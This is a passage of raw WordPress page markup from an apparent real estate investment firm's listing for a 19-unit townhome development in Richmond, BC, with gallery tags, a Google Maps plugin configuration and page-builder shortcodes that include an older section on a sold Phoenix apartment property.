100vw\" class=\"wp-image-11524\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_5 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11525\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_6 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-1280x830.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-980x635.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11526\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_2 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_2 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">ntttttntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Kadium No4 Road TownHomes<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Richmond, British Columbia<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_11  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Ground-up Development<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_13  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_14  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_4 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_10  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_15  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>n19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_11  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_16 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_17 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$5,600,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_3 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_5\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_12  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_18  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"1_image\" width=\"300\" height=\"194\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-300x194.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" disabled_on=\"on|on|on\" _builder_version=\"4.9.0\" _module_preset=\"default\" disabled=\"on\"][\/et_pb_post_title][et_pb_post_title title=\"off\" author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h1 class='entry-title'>Kadium <span style=\"text-transform: none;\">No4<\/span> Road TownHomes<\/h1>[\/et_pb_text][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, 